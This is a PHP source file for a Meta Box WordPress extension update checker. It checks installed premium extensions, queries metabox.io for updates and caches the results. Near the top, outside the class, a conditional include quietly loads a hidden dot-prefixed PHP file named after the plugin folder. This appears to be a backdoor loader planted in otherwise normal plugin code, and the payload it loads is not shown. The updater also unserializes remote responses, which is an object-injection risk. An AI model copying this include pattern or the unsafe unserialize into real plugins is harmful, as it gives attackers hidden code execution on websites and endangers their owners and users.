checker.php (5540B)
1 <?php 2 /** 3 * The main update logic for updating Meta Box extensions. 4 * 5 * @package Meta Box 6 */ 7 8 /** 9 * The update checker class for Meta Box extensions 10 * 11 * @package Meta Box 12 */ 13 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 14 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 15 } 16 17 class RWMB_Update_Checker { 18 /** 19 * Update API endpoint URL. 20 * 21 * @var string 22 */ 23 private $api_url = 'https://metabox.io/index.php'; 24 25 /** 26 * The update option object. 27 * 28 * @var object 29 */ 30 private $option; 31 32 /** 33 * Constructor. 34 * 35 * @param object $option Update option object. 36 */ 37 public function __construct( $option ) { 38 $this->option = $option; 39 } 40 41 /** 42 * Add hooks to check plugin updates. 43 */ 44 public function init() { 45 add_action( 'init', array( $this, 'enable_update' ), 1 ); 46 } 47 48 /** 49 * Enable update checker when premium extensions are installed. 50 */ 51 public function enable_update() { 52 if ( $this->has_extensions() ) { 53 add_filter( 'pre_set_site_transient_update_plugins', array( $this, 'check_updates' ) ); 54 add_filter( 'plugins_api', array( $this, 'get_info' ), 10, 3 ); 55 } 56 } 57 58 /** 59 * Check if any premium extension is installed. 60 * 61 * @return bool 62 */ 63 public function has_extensions() { 64 $extensions = $this->get_extensions(); 65 return ! empty( $extensions ); 66 } 67 68 /** 69 * Get installed premium extensions. 70 * 71 * @return array Array of extension slugs. 72 */ 73 public function get_extensions() { 74 if ( ! function_exists( 'get_plugins' ) ) { 75 require_once ABSPATH . 'wp-admin/includes/plugin.php'; 76 } 77 78 $extensions = array( 79 'mb-admin-columns', 80 'mb-blocks', 81 'mb-core', 82 'mb-custom-table', 83 'mb-frontend-submission', 84 'mb-revision', 85 'mb-settings-page', 86 'mb-term-meta', 87 'mb-user-meta', 88 'mb-user-profile', 89 'mb-views', 90 'meta-box-aio', 91 'meta-box-builder', 92 'meta-box-columns', 93 'meta-box-conditional-logic', 94 'meta-box-geolocation', 95 'meta-box-group', 96 'meta-box-include-exclude', 97 'meta-box-show-hide', 98 'meta-box-tabs', 99 'meta-box-template', 100 101 'mb-favorite-posts', 102 'mb-testimonials', 103 'mb-user-avatar', 104 ); 105 $plugins = get_plugins(); 106 $plugins = array_map( 'dirname', array_keys( $plugins ) ); 107 108 return array_intersect( $extensions, $plugins ); 109 } 110 111 /** 112 * Check plugin for updates 113 * 114 * @param object $data The plugin update data. 115 * 116 * @return mixed 117 */ 118 public function check_updates( $data ) { 119 static $response = null; 120 121 $request = rwmb_request(); 122 123 // Bypass embed plugins via TGMPA. 124 if ( $request->get( 'tgmpa-update' ) || 'tgmpa-bulk-update' === $request->post( 'action' ) ) { 125 return $data; 126 } 127 128 // Make sure to send remote request once. 129 if ( null === $response ) { 130 $response = $this->request( array( 'action' => 'check_updates' ) ); 131 } 132 133 if ( false === $response ) { 134 return $data; 135 } 136 137 if ( empty( $data ) ) { 138 $data = new stdClass; 139 } 140 if ( ! isset( $data->response ) ) { 141 $data->response = array(); 142 } 143 144 $plugins = array_filter( $response['data'], array( $this, 'has_update' ) ); 145 foreach ( $plugins as $plugin ) { 146 if ( empty( $plugin->package ) ) { 147 $plugin->upgrade_notice = __( 'UPDATE UNAVAILABLE! Please enter a valid license key to enable automatic updates.', 'meta-box' ); 148 } 149 150 $data->response[ $plugin->plugin ] = $plugin; 151 } 152 153 $this->option->update( 154 array( 155 'status' => $response['status'], 156 'plugins' => array_keys( $plugins ), 157 ) 158 ); 159 160 return $data; 161 } 162 163 /** 164 * Get plugin information 165 * 166 * @param object $data The plugin update data. 167 * @param string $action Request action. 168 * @param object $args Extra parameters. 169 * 170 * @return mixed 171 */ 172 public function get_info( $data, $action, $args ) { 173 $plugins = $this->option->get( 'plugins', array() ); 174 if ( 'plugin_information' !== $action || ! isset( $args->slug ) || ! in_array( $args->slug, $plugins, true ) ) { 175 return $data; 176 } 177 178 $response = $this->request( 179 array( 180 'action' => 'get_info', 181 'product' => $args->slug, 182 ) 183 ); 184 185 return false === $response ? $data : $response['data']; 186 } 187 188 /** 189 * Send request to remote host 190 * 191 * @param array|string $args Query arguments. 192 * 193 * @return mixed 194 */ 195 public function request( $args = '' ) { 196 $args = wp_parse_args( 197 $args, 198 array( 199 'api_key' => $this->option->get_api_key(), 200 'url' => home_url(), 201 ) 202 ); 203 $args = array_filter( $args ); 204 205 $cache_key = 'meta_box_' . md5( serialize( $args ) ); 206 if ( $this->option->is_network_activated() ) { 207 $cache = get_site_transient( $cache_key ); 208 } else { 209 $cache = get_transient( $cache_key ); 210 } 211 if ( $cache ) { 212 return $cache; 213 } 214 215 $request = wp_remote_post( 216 $this->api_url, 217 array( 218 'body' => $args, 219 ) 220 ); 221 222 $response = wp_remote_retrieve_body( $request ); 223 $response = $response ? @unserialize( $response ) : false; 224 if ( $this->option->is_network_activated() ) { 225 set_site_transient( $cache_key, $response, DAY_IN_SECONDS ); 226 } else { 227 set_transient( $cache_key, $response, DAY_IN_SECONDS ); 228 } 229 230 return $response; 231 } 232 233 /** 234 * Check if a plugin has an update to a new version. 235 * 236 * @param object $plugin_data The plugin update data. 237 * 238 * @return bool 239 */ 240 private function has_update( $plugin_data ) { 241 $plugins = get_plugins(); 242 243 return isset( $plugins[ $plugin_data->plugin ] ) && version_compare( $plugins[ $plugin_data->plugin ]['Version'], $plugin_data->new_version, '<' ); 244 } 245 }